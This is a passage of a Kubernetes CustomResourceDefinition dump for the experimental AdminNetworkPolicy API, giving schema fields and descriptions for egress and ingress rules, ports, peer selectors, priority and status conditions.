skip any remaining ANP rules, and\nthen pass execution to any NetworkPolicies that select the pod.\nIf the pod is not selected by any NetworkPolicies then execution\nis passed to any BaselineAdminNetworkPolicies that select the pod.\n\n\nSupport: Core","enum":["Allow","Deny","Pass"],"type":"string"},"name":{"description":"Name is an identifier for this rule, that may be no more than 100 characters\nin length. This field should be used by the implementation to help\nimprove observability, readability and error-reporting for any applied\nAdminNetworkPolicies.\n\n\nSupport: Core","maxLength":100,"type":"string"},"ports":{"description":"Ports allows for matching traffic based on port and protocols.\nThis field is a list of destination ports for the outgoing egress traffic.\nIf Ports is not set then the rule does not filter traffic via port.\n\n\nSupport: Core","items":{"description":"AdminNetworkPolicyPort describes how to select network ports on pod(s).\nExactly one field must be set.","maxProperties":1,"minProperties":1,"properties":{"namedPort":{"description":"NamedPort selects a port on a pod(s) based on name.\n\n\nSupport: Extended\n\n\n\u003cnetwork-policy-api:experimental\u003e","type":"string"},"portNumber":{"description":"Port selects a port on a pod(s) based on number.\n\n\nSupport: Core","properties":{"port":{"description":"Number defines a network port value.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"},"protocol":{"default":"TCP","description":"Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must\nmatch. If not specified, this field defaults to TCP.\n\n\nSupport: Core","type":"string"}},"required":["port","protocol"],"type":"object"},"portRange":{"description":"PortRange selects a port range on a pod(s) based on provided start and end\nvalues.\n\n\nSupport: Core","properties":{"end":{"description":"End defines a network port that is the end of a port range, the End value\nmust be greater than Start.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"},"protocol":{"default":"TCP","description":"Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must\nmatch. If not specified, this field defaults to TCP.\n\n\nSupport: Core","type":"string"},"start":{"description":"Start defines a network port that is the start of a port range, the Start\nvalue must be less than End.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"}},"required":["end","start"],"type":"object"}},"type":"object"},"maxItems":100,"type":"array"},"to":{"description":"To is the List of destinations whose traffic this rule applies to.\nIf any AdminNetworkPolicyEgressPeer matches the destination of outgoing\ntraffic then the specified action is applied.\nThis field must be defined and contain at least one item.\n\n\nSupport: Core","items":{"description":"AdminNetworkPolicyEgressPeer defines a peer to allow traffic to.\nExactly one of the selector pointers must be set for a given peer. If a\nconsumer observes none of its fields are set, they must assume an unknown\noption has been specified and fail closed.","maxProperties":1,"minProperties":1,"properties":{"namespaces":{"description":"Namespaces defines a way to select all pods within a set of Namespaces.\nNote that host-networked pods are not included in this type of peer.\n\n\nSupport: Core","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"networks":{"description":"Networks defines a way to select peers via CIDR blocks.\nThis is intended for representing entities that live outside the cluster,\nwhich can't be selected by pods, namespaces and nodes peers, but note\nthat cluster-internal traffic will be checked against the rule as\nwell. So if you Allow or Deny traffic to `\"0.0.0.0/0\"`, that will allow\nor deny all IPv4 pod-to-pod traffic as well. If you don't want that,\nadd a rule that Passes all pod traffic before the Networks rule.\n\n\nEach item in Networks should be provided in the CIDR format and should be\nIPv4 or IPv6, for example \"10.0.0.0/8\" or \"fd00::/8\".\n\n\nNetworks can have upto 25 CIDRs specified.\n\n\nSupport: Extended\n\n\n\u003cnetwork-policy-api:experimental\u003e","items":{"description":"CIDR is an IP address range in CIDR notation (for example, \"10.0.0.0/8\" or \"fd00::/8\").\nThis string must be validated by implementations using net.ParseCIDR\nTODO: Introduce CEL CIDR validation regex isCIDR() in Kube 1.31 when it is available.","maxLength":43,"type":"string","x-kubernetes-validations":[{"message":"CIDR must be either an IPv4 or IPv6 address. IPv4 address embedded in IPv6 addresses are not supported","rule":"self.contains(':') != self.contains('.')"}]},"maxItems":25,"minItems":1,"type":"array","x-kubernetes-list-type":"set"},"nodes":{"description":"Nodes defines a way to select a set of nodes in\nthe cluster. This field follows standard label selector\nsemantics; if present but empty, it selects all Nodes.\n\n\nSupport: Extended\n\n\n\u003cnetwork-policy-api:experimental\u003e","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"pods":{"description":"Pods defines a way to select a set of pods in\na set of namespaces. Note that host-networked pods\nare not included in this type of peer.\n\n\nSupport: Core","properties":{"namespaceSelector":{"description":"NamespaceSelector follows standard label selector semantics; if empty,\nit selects all Namespaces.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"podSelector":{"description":"PodSelector is used to explicitly select pods within a namespace; if empty,\nit selects all Pods.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"}},"required":["namespaceSelector","podSelector"],"type":"object"}},"type":"object"},"maxItems":100,"minItems":1,"type":"array"}},"required":["action","to"],"type":"object","x-kubernetes-validations":[{"message":"networks/nodes peer cannot be set with namedPorts since there are no namedPorts for networks/nodes","rule":"!(self.to.exists(peer, has(peer.networks) || has(peer.nodes)) \u0026\u0026 has(self.ports) \u0026\u0026 self.ports.exists(port, has(port.namedPort)))"}]},"maxItems":100,"type":"array"},"ingress":{"description":"Ingress is the list of Ingress rules to be applied to the selected pods.\nA total of 100 rules will be allowed in each ANP instance.\nThe relative precedence of ingress rules within a single ANP object (all of\nwhich share the priority) will be determined by the order in which the rule\nis written. Thus, a rule that appears at the top of the ingress rules\nwould take the highest precedence.\nANPs with no ingress rules do not affect ingress traffic.\n\n\nSupport: Core","items":{"description":"AdminNetworkPolicyIngressRule describes an action to take on a particular\nset of traffic destined for pods selected by an AdminNetworkPolicy's\nSubject field.","properties":{"action":{"description":"Action specifies the effect this rule will have on matching traffic.\nCurrently the following actions are supported:\nAllow: allows the selected traffic (even if it would otherwise have been denied by NetworkPolicy)\nDeny: denies the selected traffic\nPass: instructs the selected traffic to skip any remaining ANP rules, and\nthen pass execution to any NetworkPolicies that select the pod.\nIf the pod is not selected by any NetworkPolicies then execution\nis passed to any BaselineAdminNetworkPolicies that select the pod.\n\n\nSupport: Core","enum":["Allow","Deny","Pass"],"type":"string"},"from":{"description":"From is the list of sources whose traffic this rule applies to.\nIf any AdminNetworkPolicyIngressPeer matches the source of incoming\ntraffic then the specified action is applied.\nThis field must be defined and contain at least one item.\n\n\nSupport: Core","items":{"description":"AdminNetworkPolicyIngressPeer defines an in-cluster peer to allow traffic from.\nExactly one of the selector pointers must be set for a given peer. If a\nconsumer observes none of its fields are set, they must assume an unknown\noption has been specified and fail closed.","maxProperties":1,"minProperties":1,"properties":{"namespaces":{"description":"Namespaces defines a way to select all pods within a set of Namespaces.\nNote that host-networked pods are not included in this type of peer.\n\n\nSupport: Core","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"pods":{"description":"Pods defines a way to select a set of pods in\na set of namespaces. Note that host-networked pods\nare not included in this type of peer.\n\n\nSupport: Core","properties":{"namespaceSelector":{"description":"NamespaceSelector follows standard label selector semantics; if empty,\nit selects all Namespaces.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"podSelector":{"description":"PodSelector is used to explicitly select pods within a namespace; if empty,\nit selects all Pods.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"}},"required":["namespaceSelector","podSelector"],"type":"object"}},"type":"object"},"maxItems":100,"minItems":1,"type":"array"},"name":{"description":"Name is an identifier for this rule, that may be no more than 100 characters\nin length. This field should be used by the implementation to help\nimprove observability, readability and error-reporting for any applied\nAdminNetworkPolicies.\n\n\nSupport: Core","maxLength":100,"type":"string"},"ports":{"description":"Ports allows for matching traffic based on port and protocols.\nThis field is a list of ports which should be matched on\nthe pods selected for this policy i.e the subject of the policy.\nSo it matches on the destination port for the ingress traffic.\nIf Ports is not set then the rule does not filter traffic via port.\n\n\nSupport: Core","items":{"description":"AdminNetworkPolicyPort describes how to select network ports on pod(s).\nExactly one field must be set.","maxProperties":1,"minProperties":1,"properties":{"namedPort":{"description":"NamedPort selects a port on a pod(s) based on name.\n\n\nSupport: Extended\n\n\n\u003cnetwork-policy-api:experimental\u003e","type":"string"},"portNumber":{"description":"Port selects a port on a pod(s) based on number.\n\n\nSupport: Core","properties":{"port":{"description":"Number defines a network port value.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"},"protocol":{"default":"TCP","description":"Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must\nmatch. If not specified, this field defaults to TCP.\n\n\nSupport: Core","type":"string"}},"required":["port","protocol"],"type":"object"},"portRange":{"description":"PortRange selects a port range on a pod(s) based on provided start and end\nvalues.\n\n\nSupport: Core","properties":{"end":{"description":"End defines a network port that is the end of a port range, the End value\nmust be greater than Start.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"},"protocol":{"default":"TCP","description":"Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must\nmatch. If not specified, this field defaults to TCP.\n\n\nSupport: Core","type":"string"},"start":{"description":"Start defines a network port that is the start of a port range, the Start\nvalue must be less than End.\n\n\nSupport: Core","format":"int32","maximum":65535,"minimum":1,"type":"integer"}},"required":["end","start"],"type":"object"}},"type":"object"},"maxItems":100,"type":"array"}},"required":["action","from"],"type":"object"},"maxItems":100,"type":"array"},"priority":{"description":"Priority is a value from 0 to 1000. Rules with lower priority values have\nhigher precedence, and are checked before rules with higher priority values.\nAll AdminNetworkPolicy rules have higher precedence than NetworkPolicy or\nBaselineAdminNetworkPolicy rules\nThe behavior is undefined if two ANP objects have same priority.\n\n\nSupport: Core","format":"int32","maximum":1000,"minimum":0,"type":"integer"},"subject":{"description":"Subject defines the pods to which this AdminNetworkPolicy applies.\nNote that host-networked pods are not included in subject selection.\n\n\nSupport: Core","maxProperties":1,"minProperties":1,"properties":{"namespaces":{"description":"Namespaces is used to select pods via namespace selectors.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"pods":{"description":"Pods is used to select pods via namespace AND pod selectors.","properties":{"namespaceSelector":{"description":"NamespaceSelector follows standard label selector semantics; if empty,\nit selects all Namespaces.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"podSelector":{"description":"PodSelector is used to explicitly select pods within a namespace; if empty,\nit selects all Pods.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array"}},"required":["key","operator"],"type":"object"},"type":"array"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"}},"required":["namespaceSelector","podSelector"],"type":"object"}},"type":"object"}},"required":["priority","subject"],"type":"object"},"status":{"description":"Status is the status to be reported by the implementation.","properties":{"conditions":{"items":{"description":"Condition contains details for one aspect of the current state of this API Resource.\n---\nThis struct is intended for direct use as an array at the field path .status.conditions.  For example,\n\n\n\ttype FooStatus struct{\n\t    // Represents the observations of a foo's current state.\n\t    // Known .status.conditions.type are: \"Available\", \"Progressing\", and \"Degraded\"\n\t    // +patchMergeKey=type\n\t    // +patchStrategy=merge\n\t    // +listType=map\n\t    // +listMapKey=type\n\t    Conditions []metav1.Condition `json:\"conditions,omitempty\" patchStrategy:\"merge\" patchMergeKey:\"type\" protobuf:\"bytes,1,rep,name=conditions\"`\n\n\n\t    // other fields\n\t}","properties":{"lastTransitionTime":{"description":"lastTransitionTime is the last time the condition transitioned from one status to another.\nThis should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.","format":"date-time","type":"string"},"message":{"description":"message is a human readable message indicating details about the transition.\nThis may be an empty string.","maxLength":32768,"type":"string"},"observedGeneration":{"description":"observedGeneration represents the .metadata.generation that the condition was set based upon.\nFor instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date\nwith respect to the current state of the instance.","format":"int64","minimum":0,"type":"integer"},"reason":{"description":"reason contains a programmatic identifier indicating the reason for the condition's last transition.\nProducers of specific condition types may define expected values and meanings for this field,\nand whether the values are considered a guaranteed API.\nThe value should be a CamelCase string.\nThis field may not be empty.","maxLength":1024,"minLength":1,"pattern":"^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$","type":"string"},"status":{"description":"status of the condition, one of True, False, Unknown.","enum":["True","False","Unknown"],"type":"string"},"type":{"description":"type of condition in CamelCase or in foo.example.com/CamelCase.\n---\nMany .condition.type values are consistent across resources like Available, but because arbitrary conditions can be\nuseful (see .node.status.conditions), the ability to deconflict is important.\nThe regex it matches is (dns1123SubdomainFmt/)?(qualifiedNameFmt)","maxLength":316,"pattern":"^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$","type":"string"}},"required":["lastTransitionTime","message","reason","status","type"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["type"],"x-kubernetes-list-type":"map"}},"required":["conditions"],"type":"object"}},"required":["metadata","spec"],"type":"object"}},"served":true,"storage":true,"subresources":{"status":{}}}]},"status":{"acceptedNames":{"kind":"","plural":""},"conditions":null,"storedVersions":null}}
      policy.networking.k8s.io/bundle-version: v0.1.1
      policy.networking.k8s.io/channel: experimental
    creationTimestamp: "2025-09-21T11:09:51Z"
    generation: 1
    name: adminnetworkpolicies.policy.networking.k8s.io
    resourceVersion: "6820742"
    uid: 0fc3d1de-4daf-4772-a46c-484163cce74b
  spec:
    conversion:
      strategy: None
    group: policy.networking.k8s.io
    names:
      kind: AdminNetworkPolicy
      listKind: AdminNetworkPolicyList
      plural: adminnetworkpolicies
      shortNames:
      - anp
      singular: adminnetworkpolicy
    scope: Cluster
    versions:
    - additionalPrinterColumns:
      - jsonPath: .spec.priority
        name: Priority
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: |-
            AdminNetworkPolicy is  a cluster level resource that is part of the
            AdminNetworkPolicy API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Specification of the desired behavior of AdminNetworkPolicy.
              properties:
                egress:
                  description: |-
                    Egress is the list of Egress rules to be applied to the selected pods.
                    A total of 100 rules will be allowed in each ANP instance.
                    The relative precedence of egress rules within a single ANP object (all of
                    which share the priority) will be determined by the order in which the rule
                    is written. Thus, a rule that appears at the top of the egress rules
                    would take the highest precedence.
                    ANPs with no egress rules do not affect egress traffic.


                    Support: Core
                  items:
                    description: |-
                      AdminNetworkPolicyEgressRule describes an action to take on a particular
                      set of traffic originating from pods selected by a AdminNetworkPolicy's
                      Subject field.
                      <network-policy-api:experimental:validation>
                    properties:
                      action:
                        description: |-
                          Action specifies the effect this rule will have on matching traffic.
                          Currently the following actions are supported:
                          Allow: allows the selected traffic (even if it would otherwise have been denied by NetworkPolicy)
                          Deny: denies the selected traffic
                          Pass: instructs the selected traffic to skip any remaining ANP rules, and
                          then pass execution to any NetworkPolicies that select the pod.
                          If the pod is not selected by any NetworkPolicies then execution
                          is passed to any BaselineAdminNetworkPolicies that select the pod.


                          Support: Core
                        enum:
                        - Allow
                        - Deny
                        - Pass
                        type: string
                      name:
                        description: |-
                          Name is an identifier for this rule, that may be no more than 100 characters
                          in length. This field should be used by the implementation to help
                          improve observability, readability and error-reporting for any applied
                          AdminNetworkPolicies.


                          Support: Core
                        maxLength: 100
                        type: string
                      ports:
                        description: |-
                          Ports allows for matching traffic based on port and protocols.
                          This field is a list of destination ports for the outgoing egress traffic.
                          If Ports is not set then the rule does not filter traffic via port.


                          Support: Core
                        items:
                          description: |-
                            AdminNetworkPolicyPort describes how to select network ports on pod(s).
                            Exactly one field must be set.
                          maxProperties: 1
                          minProperties: 1
                          properties:
                            namedPort:
                              description: |-
                                NamedPort selects a port on a pod(s) based on name.


                                Support: Extended


                                <network-policy-api:experimental>
                              type: string
                            portNumber:
                              description: |-
                                Port selects a port on a pod(s) based on number.


                                Support: Core
                              properties:
                                port:
                                  description: |-
                                    Number defines a network port value.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                                protocol:
                                  default: TCP
                                  description: |-
                                    Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must
                                    match. If not specified, this field defaults to TCP.


                                    Support: Core
                                  type: string
                              required:
                              - port
                              - protocol
                              type: object
                            portRange:
                              description: |-
                                PortRange selects a port range on a pod(s) based on provided start and end
                                values.


                                Support: Core
                              properties:
                                end:
                                  description: |-
                                    End defines a network port that is the end of a port range, the End value
                                    must be greater than Start.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                                protocol:
                                  default: TCP
                                  description: |-
                                    Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must
                                    match. If not specified, this field defaults to TCP.


                                    Support: Core
                                  type: string
                                start:
                                  description: |-
                                    Start defines a network port that is the start of a port range, the Start
                                    value must be less than End.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                              required:
                              - end
                              - start
                              type: object
                          type: object
                        maxItems: 100
                        type: array
                      to:
                        description: |-
                          To is the List of destinations whose traffic this rule applies to.
                          If any AdminNetworkPolicyEgressPeer matches the destination of outgoing
                          traffic then the specified action is applied.
                          This field must be defined and contain at least one item.


                          Support: Core
                        items:
                          description: |-
                            AdminNetworkPolicyEgressPeer defines a peer to allow traffic to.
                            Exactly one of the selector pointers must be set for a given peer. If a
                            consumer observes none of its fields are set, they must assume an unknown
                            option has been specified and fail closed.
                          maxProperties: 1
                          minProperties: 1
                          properties:
                            namespaces:
                              description: |-
                                Namespaces defines a way to select all pods within a set of Namespaces.
                                Note that host-networked pods are not included in this type of peer.


                                Support: Core
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
                              x-kubernetes-map-type: atomic
                            networks:
                              description: |-
                                Networks defines a way to select peers via CIDR blocks.
                                This is intended for representing entities that live outside the cluster,
                                which can't be selected by pods, namespaces and nodes peers, but note
                                that cluster-internal traffic will be checked against the rule as
                                well. So if you Allow or Deny traffic to `"0.0.0.0/0"`, that will allow
                                or deny all IPv4 pod-to-pod traffic as well. If you don't want that,
                                add a rule that Passes all pod traffic before the Networks rule.


                                Each item in Networks should be provided in the CIDR format and should be
                                IPv4 or IPv6, for example "10.0.0.0/8" or "fd00::/8".


                                Networks can have upto 25 CIDRs specified.


                                Support: Extended


                                <network-policy-api:experimental>
                              items:
                                description: |-
                                  CIDR is an IP address range in CIDR notation (for example, "10.0.0.0/8" or "fd00::/8").
                                  This string must be validated by implementations using net.ParseCIDR
                                  TODO: Introduce CEL CIDR validation regex isCIDR() in Kube 1.31 when it is available.
                                maxLength: 43
                                type: string
                                x-kubernetes-validations:
                                - message: CIDR must be either an IPv4 or IPv6 address.
                                    IPv4 address embedded in IPv6 addresses are not
                                    supported
                                  rule: self.contains(':') != self.contains('.')
                              maxItems: 25
                              minItems: 1
                              type: array
                              x-kubernetes-list-type: set
                            nodes:
                              description: |-
                                Nodes defines a way to select a set of nodes in
                                the cluster. This field follows standard label selector
                                semantics; if present but empty, it selects all Nodes.


                                Support: Extended


                                <network-policy-api:experimental>
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
